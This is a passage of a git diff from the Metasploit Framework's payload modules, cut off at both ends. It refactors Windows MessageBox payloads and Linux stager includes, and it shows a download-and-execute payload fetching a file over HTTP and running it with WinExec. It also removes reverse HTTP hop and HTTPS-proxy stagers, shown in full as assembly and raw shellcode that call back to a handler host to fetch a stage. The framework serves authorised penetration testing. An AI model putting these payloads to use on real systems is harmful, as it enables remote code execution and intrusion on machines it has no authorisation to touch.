sub esp,eax ; reserve space on stack + + download_more: + push esp ; &bytesRead + lea ecx,[esp+0x8] ; target buffer + xor eax,eax + mov ah,0x03 ; eax => 300 + push eax ; read length + push ecx ; target buffer on stack + push esi ; hRequest + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')} ; hash( "wininet.dll", "InternetReadFile" ) + call ebp + + test eax,eax ; download failed? (optional?) + jz thats_all_folks ; failure -> exit + + pop eax ; how many bytes did we retrieve ? + + test eax,eax ; optional? + je close_and_run ; continue until it returns 0 + + write_to_file: + push 0 ; lpOverLapped + push esp ; lpNumberOfBytesWritten + push eax ; nNumberOfBytesToWrite + lea eax,[esp+0xc] ; get pointer to buffer + push eax ; lpBuffer + push ebx ; hFile + push #{Rex::Text.block_api_hash('kernel32.dll', 'WriteFile')} ; kernel32.dll!WriteFile + call ebp + sub esp,4 ; set stack back to where it was + jmp.i8 download_more + + close_and_run: + push ebx + push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')} ; kernel32.dll!CloseHandle + call ebp + + execute_file: + push 0 ; don't show + push edi ; lpCmdLine + push #{Rex::Text.block_api_hash('kernel32.dll', 'WinExec')} ; kernel32.dll!WinExec + call ebp + + thats_all_folks: + #{exitasm} + + get_filename: + call get_filename_return + db "#{filename}",0x00 + + get_server_host: + call internetconnect + + server_host: + db "#{server_host}", 0x00 + end: +^ self.assembly = payload_data super end diff --git a/modules/payloads/singles/windows/messagebox.rb b/modules/payloads/singles/windows/messagebox.rb index 1b8ea7f983ed..6f5e171eef63 100644 --- a/modules/payloads/singles/windows/messagebox.rb +++ b/modules/payloads/singles/windows/messagebox.rb @@ -4,288 +4,102 @@ ## module MetasploitModule - - CachedSize = 272 + CachedSize = 231 include Msf::Payload::Windows include Msf::Payload::Single + include Msf::Payload::Windows::BlockApi def initialize(info = {}) - super(merge_info(info, - 'Name' => 'Windows MessageBox', - 'Description' => 'Spawns a dialog via MessageBox using a customizable title, text & icon', - 'Author' => - [ + super( + merge_info( + info, + 'Name' => 'Windows MessageBox', + 'Description' => 'Spawns a dialog via MessageBox using a customizable title, text & icon', + 'Author' => [ 'corelanc0d3r ', # original payload module - 'jduck' # some ruby factoring + 'jduck' # some ruby factoring ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86 - )) + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86 + ) + ) # Register MessageBox options register_options( [ - OptString.new('TITLE', [ true, "Messagebox Title (max 255 chars)", "MessageBox" ], max_length: 255), - OptString.new('TEXT', [ true, "Messagebox Text (max 255 chars)", "Hello, from MSF!" ], max_length: 255), - OptString.new('ICON', [ true, "Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION", "NO" ]) - ]) + OptString.new('TITLE', [ true, 'Messagebox Title (max 255 chars)', 'MessageBox' ], max_length: 255), + OptString.new('TEXT', [ true, 'Messagebox Text (max 255 chars)', 'Hello, from MSF!' ], max_length: 255), + OptString.new('ICON', [ true, 'Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION', 'NO' ]) + ] + ) end # # Construct the payload # def generate(_opts = {}) - - strTitle = datastore['TITLE'] + "X" - if (strTitle.length < 1) - raise ArgumentError, "You must specify a title" - end - - strText = datastore['TEXT'] + "X" - if (strText.length < 1) - raise ArgumentError, "You must specify the text of the MessageBox" - end - - # exitfunc process or thread ? - stackspace = "0x04" - funchash = "" - doexitseh = "" - case datastore['EXITFUNC'].upcase.strip - when 'PROCESS' - stackspace = "0x08" - funchash = "0x73E2D87E" - when 'THREAD' - stackspace = "0x08" - funchash = "0x60E0CEEF" - end - - # create exit routine for process / thread - getexitfunc = < 0) - str << " " * (4 - rem) - end - - # string is now 4 byte aligned and ends with 'X' at index 'marker_idx' - - # push string to stack, starting at the back - pushes = '' - while (str.length > 0) - four = str.slice!(-4, 4) - dw = four.unpack('V').first - pushes << "push 0x%x\n\t" % dw - end - - pushes - end end diff --git a/modules/payloads/singles/windows/x64/messagebox.rb b/modules/payloads/singles/windows/x64/messagebox.rb index 55cd00c3215a..815819973bc1 100644 --- a/modules/payloads/singles/windows/x64/messagebox.rb +++ b/modules/payloads/singles/windows/x64/messagebox.rb @@ -5,10 +5,11 @@ module MetasploitModule - CachedSize = 322 + CachedSize = 313 include Msf::Payload::Windows include Msf::Payload::Single + include Msf::Payload::Windows::BlockApi_x64 def initialize(info = {}) super(merge_info(info, @@ -32,32 +33,6 @@ def initialize(info = {}) ) end - def ror(dword, arg, bits = 32) - mask = (2**arg) - 1 - mask_bits = dword & mask - return (dword >> arg) | (mask_bits << (bits - arg)) - end - - def rol(dword, arg, bits = 32) - return ror(dword, bits - arg, bits) - end - - def hash(msg) - hash = 0 - msg.each_byte do |c| - hash = ror(c.ord + hash, 0xd) - end - return hash - end - - def to_unicode(msg) - return msg.encode("binary").split('').join("\x00") + "\x00\x00" - end - - def api_hash(libname, function) - return (hash(to_unicode(libname.upcase)) + hash(function)) & 0xffffffff - end - def generate(_opts = {}) style = 0x00 case datastore['ICON'].upcase.strip @@ -72,134 +47,59 @@ def generate(_opts = {}) style = 0x40 end - if datastore['EXITFUNC'].upcase.strip == 'PROCESS' - exitfunc_asm = %( + exitfunc_asm = %Q^ xor rcx,rcx - mov r10d, #{api_hash('kernel32.dll', 'ExitProcess')} + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call rbp - ) - elsif datastore['EXITFUNC'].upcase.strip == 'THREAD' - exitfunc_asm = %( - mov ebx, #{api_hash('kernel32.dll', 'ExitThread')} - mov r10d, #{api_hash('kernel32.dll', 'GetVersion')} + ^ + if datastore['EXITFUNC'].upcase.strip == 'THREAD' + exitfunc_asm = %Q^ + mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} call rbp add rsp,0x28 cmp al,0x6 jl use_exitthread ; is older than Vista or Server 2003 R2? cmp bl,0xe0 ; check if GetVersion change the hash stored in EBX jne use_exitthread - mov ebx, #{api_hash('ntdll.dll', 'RtlExitUserThread')} + mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} use_exitthread: push 0 pop rcx mov r10d,ebx call rbp - ) + ^ end - exitfunc = Metasm::Shellcode.assemble(Metasm::X64.new, exitfunc_asm).encode_string - - payload_asm = %( + payload_asm = %Q^ cld and rsp,0xfffffffffffffff0 call start_main - push r9 - push r8 - push rdx - push rcx - push rsi - xor rdx,rdx - mov rdx,qword ptr gs:[rdx+0x60] - mov rdx,qword ptr ds:[rdx+0x18] - mov rdx,qword ptr ds:[rdx+0x20] - next_mod: - mov rsi,qword ptr ds:[rdx+0x50] - movzx rcx,word ptr ds:[rdx+0x4a] - xor r9,r9 - loop_modname: - xor rax,rax - lodsb - cmp al,0x61 - jl not_lowercase - sub al,0x20 - not_lowercase: - ror r9d,0xd - add r9d,eax - loop loop_modname - push rdx - push r9 - mov rdx,qword ptr ds:[rdx+0x20] - mov eax,dword ptr ds:[rdx+0x3c] - add rax,rdx - mov eax,dword ptr ds:[rax+0x88] - test rax,rax - je get_next_mod1 - add rax,rdx - push rax - mov ecx,dword ptr ds:[rax+0x18] - mov r8d,dword ptr ds:[rax+0x20] - add r8,rdx - check_has: - jrcxz get_next_mod - dec rcx - mov esi,dword ptr ds:[r8+rcx*4] - add rsi,rdx - xor r9,r9 - loop_funcname: - xor rax,rax - lodsb - ror r9d,0xd - add r9d,eax - cmp al,ah - jne loop_funcname - add r9,qword ptr ds:[rsp+0x8] - cmp r9d,r10d - jne check_has - pop rax - mov r8d,dword ptr ds:[rax+0x24] - add r8,rdx - mov cx,word ptr ds:[r8+rcx*2] - mov r8d,dword ptr ds:[rax+0x1c] - add r8,rdx - mov eax,dword ptr ds:[r8+rcx*4] - add rax,rdx - pop r8 - pop r8 - pop rsi - pop rcx - pop rdx - pop r8 - pop r9 - pop r10 - sub rsp,0x20 - push r10 - jmp rax - get_next_mod: - pop rax - get_next_mod1: - pop r9 - pop rdx - mov rdx,qword ptr ds:[rdx] - jmp next_mod - start_main: + #{asm_block_api} + start_main: pop rbp - lea rcx,qword ptr ds:[rbp + #{exitfunc.length + datastore['TEXT'].length + datastore['TITLE'].length + 0x105}] - mov r10d, #{api_hash('kernel32.dll', 'LoadLibraryA')} + call get_user32 + db "user32.dll", 0x00 + get_user32: + pop rcx + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} call rbp mov r9, #{style} - lea rdx,qword ptr ds:[rbp + #{exitfunc.length + 0x103}] - lea r8,qword ptr ds:[rbp + #{exitfunc.length + datastore['TEXT'].length + 0x104}] + call get_text + db "#{datastore['TEXT']}", 0x00 + get_text: + pop rdx + call get_title + db "#{datastore['TITLE']}", 0x00 + get_title: + pop r8 xor rcx,rcx - mov r10d, #{api_hash('user32.dll', 'MessageBoxA')} + mov r10d, #{Rex::Text.block_api_hash('user32.dll', 'MessageBoxA')} call rbp - ) - + exitfunk: + #{exitfunc_asm} + ^ payload_data = Metasm::Shellcode.assemble(Metasm::X64.new, payload_asm).encode_string - payload_data << exitfunc - payload_data << datastore['TEXT'] + "\x00" - payload_data << datastore['TITLE'] + "\x00" - payload_data << "user32.dll" + "\x00" - return payload_data end end diff --git a/modules/payloads/stagers/linux/aarch64/reverse_tcp.rb b/modules/payloads/stagers/linux/aarch64/reverse_tcp.rb index 59ec4456055b..d1cdca6aa46e 100644 --- a/modules/payloads/stagers/linux/aarch64/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/aarch64/reverse_tcp.rb @@ -17,6 +17,7 @@ module MetasploitModule CachedSize = 212 + include Msf::Payload::Linux::Aarch64::Prepends include Msf::Payload::Stager def initialize(info = {}) diff --git a/modules/payloads/stagers/linux/armle/bind_tcp.rb b/modules/payloads/stagers/linux/armle/bind_tcp.rb index 22be72c1c8eb..8078e333abb2 100644 --- a/modules/payloads/stagers/linux/armle/bind_tcp.rb +++ b/modules/payloads/stagers/linux/armle/bind_tcp.rb @@ -16,6 +16,7 @@ module MetasploitModule CachedSize = 232 + include Msf::Payload::Linux::Armle::Prepends include Msf::Payload::Stager def initialize(info = {}) diff --git a/modules/payloads/stagers/linux/armle/reverse_tcp.rb b/modules/payloads/stagers/linux/armle/reverse_tcp.rb index af064b8e7eb1..de8d1a3862f4 100644 --- a/modules/payloads/stagers/linux/armle/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/armle/reverse_tcp.rb @@ -16,6 +16,7 @@ module MetasploitModule CachedSize = 260 + include Msf::Payload::Linux::Armle::Prepends include Msf::Payload::Stager def initialize(info = {}) @@ -77,9 +78,9 @@ def initialize(info = {}) 0x0a000012, # beq 0xe2877063, # add r7, r7, #99 ; set 291(0x123) to r7 0xe1a01000, # mov r1, r0 - 0xe1a0000c, # mov r0, ip 0xe3a03000, # mov r3, #0 # loop: + 0xe1a0000c, # mov r0, ip 0xe59d2000, # ldr r2, [sp] 0xe2422ffa, # sub r2, r2, #1000 0xe58d2000, # str r2, [sp] @@ -89,7 +90,7 @@ def initialize(info = {}) 0xef000000, # svc 0x00000000 ; invoke recv 0xe3500000, # cmp r0, #0 0xba000005, # blt 817c - 0xeafffff5, # b 80dc + 0xeafffff4, # b 80dc # last: 0xe2822ffa, # add r2, r2, #1000 0xef000000, # svc 0x00000000 ; invoke recv diff --git a/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb index 4889905b28b5..d17105565e71 100644 --- a/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb @@ -9,7 +9,6 @@ module MetasploitModule CachedSize = 272 include Msf::Payload::Stager - include Msf::Payload::Linux def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb index eaae2ddad28f..a5062ce6a573 100644 --- a/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb @@ -9,7 +9,6 @@ module MetasploitModule CachedSize = 272 include Msf::Payload::Stager - include Msf::Payload::Linux def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/stagers/linux/x64/bind_tcp.rb b/modules/payloads/stagers/linux/x64/bind_tcp.rb index f66fdad158ff..0a29e655fbcc 100644 --- a/modules/payloads/stagers/linux/x64/bind_tcp.rb +++ b/modules/payloads/stagers/linux/x64/bind_tcp.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 78 include Msf::Payload::Stager - include Msf::Payload::Linux + include Msf::Payload::Linux::X64::Prepends def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/stagers/linux/x64/reverse_sctp.rb b/modules/payloads/stagers/linux/x64/reverse_sctp.rb index 67f2d913b59a..62b78cf2bde9 100644 --- a/modules/payloads/stagers/linux/x64/reverse_sctp.rb +++ b/modules/payloads/stagers/linux/x64/reverse_sctp.rb @@ -7,7 +7,7 @@ module MetasploitModule CachedSize = 136 include Msf::Payload::Stager - include Msf::Payload::Linux::ReverseSctp_x64 + include Msf::Payload::Linux::X64::ReverseSctp def initialize(info = {}) super( diff --git a/modules/payloads/stagers/linux/x64/reverse_tcp.rb b/modules/payloads/stagers/linux/x64/reverse_tcp.rb index 31c4440c3b0d..5a56e82cfcd0 100644 --- a/modules/payloads/stagers/linux/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x64/reverse_tcp.rb @@ -8,7 +8,7 @@ module MetasploitModule CachedSize = 130 include Msf::Payload::Stager - include Msf::Payload::Linux::ReverseTcp_x64 + include Msf::Payload::Linux::X64::ReverseTcp def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb b/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb index 33a9a5d4b9b3..aa331cadd199 100644 --- a/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb @@ -17,7 +17,7 @@ module MetasploitModule CachedSize = 63 include Msf::Payload::Stager - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends def self.handler_type_alias "bind_nonx_tcp" diff --git a/modules/payloads/stagers/linux/x86/find_tag.rb b/modules/payloads/stagers/linux/x86/find_tag.rb index 84172bc5f372..565a24661fcf 100644 --- a/modules/payloads/stagers/linux/x86/find_tag.rb +++ b/modules/payloads/stagers/linux/x86/find_tag.rb @@ -17,7 +17,7 @@ module MetasploitModule CachedSize = 37 include Msf::Payload::Stager - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb index 07eb8003b995..c98fe8085204 100644 --- a/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb @@ -10,7 +10,7 @@ module MetasploitModule CachedSize = 77 include Msf::Payload::Stager - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends def self.handler_type_alias "reverse_ipv6_tcp" diff --git a/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb index ba4c5da8ef71..1d9be6f67610 100644 --- a/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb @@ -17,7 +17,7 @@ module MetasploitModule CachedSize = 50 include Msf::Payload::Stager - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends def self.handler_type_alias "reverse_nonx_tcp" diff --git a/modules/payloads/stagers/windows/reverse_hop_http.rb b/modules/payloads/stagers/windows/reverse_hop_http.rb deleted file mode 100644 index 14c0274e6b68..000000000000 --- a/modules/payloads/stagers/windows/reverse_hop_http.rb +++ /dev/null @@ -1,328 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'uri' - -module MetasploitModule - - CachedSize = 353 - - include Msf::Payload::Stager - include Msf::Payload::Windows - - def initialize(info = {}) - super(merge_info(info, - 'Name' => 'Reverse Hop HTTP/HTTPS Stager', - 'Description' => %q{ - Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload - data/hop/hop.php to the PHP server you wish to use as a hop. - }, - 'Author' => [ - 'scriptjunkie ', - 'bannedit', - 'hdm' - ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseHopHttp, - 'Convention' => 'sockedi http', - 'DefaultOptions' => { 'WfsDelay' => 30 }, - 'Stager' => { 'Offsets' => { } })) - - deregister_options('LHOST', 'LPORT') - - register_options([ - OptString.new('HOPURL', [ true, "The full URL of the hop script", "http://example.com/hop.php" ] - ) - ]) - end - - # - # Do not transmit the stage over the connection. We handle this via HTTP - # - def stage_over_connection? - false - end - - # - # Generate the transport-specific configuration - # - def transport_config(opts={}) - config = transport_config_reverse_http(opts) - config[:scheme] = URI(datastore['HOPURL']).scheme - config - end - - # - # Generate the first stage - # - def generate(_opts = {}) - uri = URI(datastore['HOPURL']) - #create actual payload - payload_data = <Ldr - mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list -next_mod: - mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name -loop_modname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop until we have read enough - ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later - ; Proceed to iterate the export address table, - mov edx, [edx+16] ; Get this modules base address - mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names - add ebx, edx ; Add the modules base address - ; Computing the module hash + function hash -get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards) process next mod - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - xor edi, edi ; Clear EDI which will store the hash of the function name - ; And compare it to the one we want -loop_funcname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the ASCII function name - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the desired function... -finish: - mov [esp+36], eax ; Overwrite the old EAX value with the desired api address - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX - pop ecx ; Pop off the original return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Push back the correct return value - jmp eax ; Jump into the required function - ; We now automagically return to the correct caller... -get_next_mod: ; - pop eax ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp.i8 next_mod ; Process this module - -; actual routine -start: - pop ebp ; get ptr to block_api routine - -; Input: EBP must be the address of 'api_call'. -; Output: EDI will be the socket for the connection to the server -; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) -load_wininet: - push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. - push 0x696e6977 ; ... - push esp ; Push a pointer to the "wininet" string on the stack. - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call ebp ; LoadLibraryA( "wininet" ) - -internetopen: - xor edi,edi - push edi ; DWORD dwFlags - push edi ; LPCTSTR lpszProxyBypass - push edi ; LPCTSTR lpszProxyName - push edi ; DWORD dwAccessType (PRECONFIG = 0) - push 0 ; NULL pointer - push esp ; LPCTSTR lpszAgent ("\x00") - push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) - call ebp - - jmp.i8 dbl_get_server_host - -internetconnect: - pop ebx ; Save the hostname pointer - xor ecx, ecx - push ecx ; DWORD_PTR dwContext (NULL) - push ecx ; dwFlags - push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) - push ecx ; password - push ecx ; username - push #{uri.port} ; PORT - push ebx ; HOSTNAME - push eax ; HINTERNET hInternet - push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) - call ebp - - jmp get_server_uri - -httpopenrequest: - pop ecx - xor edx, edx ; NULL - push edx ; dwContext (NULL) -EOS - - if uri.scheme == 'http' - payload_data << ' push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags' - else - payload_data << ' push (0x80000000 | 0x00800000 | 0x00001000 | 0x00002000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags' - end - # 0x80000000 | ; INTERNET_FLAG_RELOAD - # 0x00800000 | ; INTERNET_FLAG_SECURE - # 0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID - # 0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID - # 0x80000000 | ; INTERNET_FLAG_RELOAD - # 0x04000000 | ; INTERNET_NO_CACHE_WRITE - # 0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT - # 0x00000200 | ; INTERNET_FLAG_NO_UI - # 0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION - payload_data << < 'Reverse HTTPS Stager with Support for Custom Proxy', - 'Description' => 'Tunnel communication over HTTP using SSL with custom proxy support', - 'Author' => ['hdm','corelanc0d3r ', 'amaloteaux'], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseHttpsProxy, - 'Convention' => 'sockedi https', - 'Stager' => - { - 'Payload' => - "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + - "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + - "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + - "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + - "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + - "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + - "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + - "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x6E\x65\x74\x00\x68\x77" + - "\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\xE8\x0F\x00\x00\x00" + - "\x50\x52\x4F\x58\x59\x48\x4F\x53\x54\x3A\x50\x4F\x52\x54\x00\x59" + - "\x31\xFF\x57\x54\x51\x6A\x03\x6A\x00\x68\x3A\x56\x79\xA7\xFF\xD5" + - "\xE9\xC4\x00\x00\x00\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C" + - "\x11\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\x89\xC6\x50\x52" + - "\x4F\x58\x59\x5F\x41\x55\x54\x48\x5F\x53\x54\x41\x52\x54\xE8\x0F" + - "\x00\x00\x00\x50\x52\x4F\x58\x59\x5F\x55\x53\x45\x52\x4E\x41\x4D" + - "\x45\x00\x59\x6A\x0F\x51\x6A\x2B\x56\x68\x75\x46\x9E\x86\xFF\xD5" + - "\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58\x59\x5F\x50\x41\x53\x53\x57" + - "\x4F\x52\x44\x00\x59\x6A\x0F\x51\x6A\x2C\x56\x68\x75\x46\x9E\x86" + - "\xFF\xD5\x50\x52\x4F\x58\x59\x5F\x41\x55\x54\x48\x5F\x53\x54\x4F" + - "\x50\xEB\x48\x59\x31\xD2\x52\x68\x00\x32\xA0\x84\x52\x52\x52\x51" + - "\x52\x56\x68\xEB\x55\x2E\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x68\x80" + - "\x33\x00\x00\x89\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86" + - "\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5" + - "\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xD5\xEB\x49\xE8\xB3\xFF\xFF\xFF" + - "\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40" + - "\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5" + - "\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68" + - "\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD\x8B\x07\x01\xC3\x85\xC0" + - "\x75\xE5\x58\xC3\xE8\xEC\xFE\xFF\xFF" - } - )) - - - end - - # - # Do not transmit the stage over the connection. We handle this via HTTPS - # - def stage_over_connection? - false - end - - # - # Generate the first stage - # - def generate(_opts = {}) - p = super - - i = p.index("/12345\x00") - u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttpsProxy::URI_CHECKSUM_INITW) + "\x00" - p[i, u.length] = u - - # patch proxy info - proxyhost = datastore['HttpProxyHost'].to_s - proxyport = datastore['HttpProxyPort'].to_s || "8080" - - if Rex::Socket.is_ipv6?(proxyhost) - proxyhost = "[#{proxyhost}]" - end - - proxyinfo = proxyhost + ":" + proxyport - if proxyport == "80" - proxyinfo = proxyhost - end - if datastore['HttpProxyType'].to_s == 'HTTP' - proxyinfo = 'http://' + proxyinfo - else #socks - proxyinfo = 'socks=' + proxyinfo - end - - proxyloc = p.index("PROXYHOST:PORT") - p = p.gsub("PROXYHOST:PORT",proxyinfo) - - # Patch the call - calloffset = proxyinfo.length + 1 - p[proxyloc-4] = [calloffset].pack('V')[0] - - # Authentication credentials have not been specified - if datastore['HttpProxyUser'].to_s == '' || - datastore['HttpProxyPass'].to_s == '' || - datastore['HttpProxyType'].to_s == 'SOCKS' - - jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START") - - # Remove the authentication code - p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "") - else - username_size_diff = 14 - datastore['HttpProxyUser'].to_s.length - password_size_diff = 14 - datastore['HttpProxyPass'].to_s.length - jmp_offset = - 16 + # PROXY_AUTH_START length - 15 + # PROXY_AUTH_STOP length - username_size_diff + # Difference between datastore HttpProxyUser length and db "HttpProxyUser length" - password_size_diff # Same with HttpProxyPass - - # Patch call offset - username_loc = p.index("PROXY_USERNAME") - p[username_loc - 4, 4] = [15 - username_size_diff].pack("V") - password_loc = p.index("PROXY_PASSWORD") - p[password_loc - 4, 4] = [15 - password_size_diff].pack("V") - - # Remove markers & change login/password - p = p.gsub("PROXY_AUTH_START","") - p = p.gsub("PROXY_AUTH_STOP","") - p = p.gsub("PROXY_USERNAME", datastore['HttpProxyUser'].to_s) - p = p.gsub("PROXY_PASSWORD", datastore['HttpProxyPass'].to_s) - end - - # Patch jmp dbl_get_server_host - jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp - p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V") - - # Patch call Internetopen - p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V") - - # Patch the LPORT - lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444 - p[lportloc+1,4] = [datastore['LPORT'].to_i].pack('V') - - # Append LHOST and return payload - p + datastore['LHOST'].to_s + "\x00" - - end - - # - # Always wait at least 20 seconds for this payload (due to staging delays) - # - def wfs_delay - 20 - end -end - diff --git a/modules/payloads/stagers/windows/x64/reverse_http.rb b/modules/payloads/stagers/windows/x64/reverse_http.rb index 9bf4d4e30c75..36713ffeb8c4 100644 --- a/modules/payloads/stagers/windows/x64/reverse_http.rb +++ 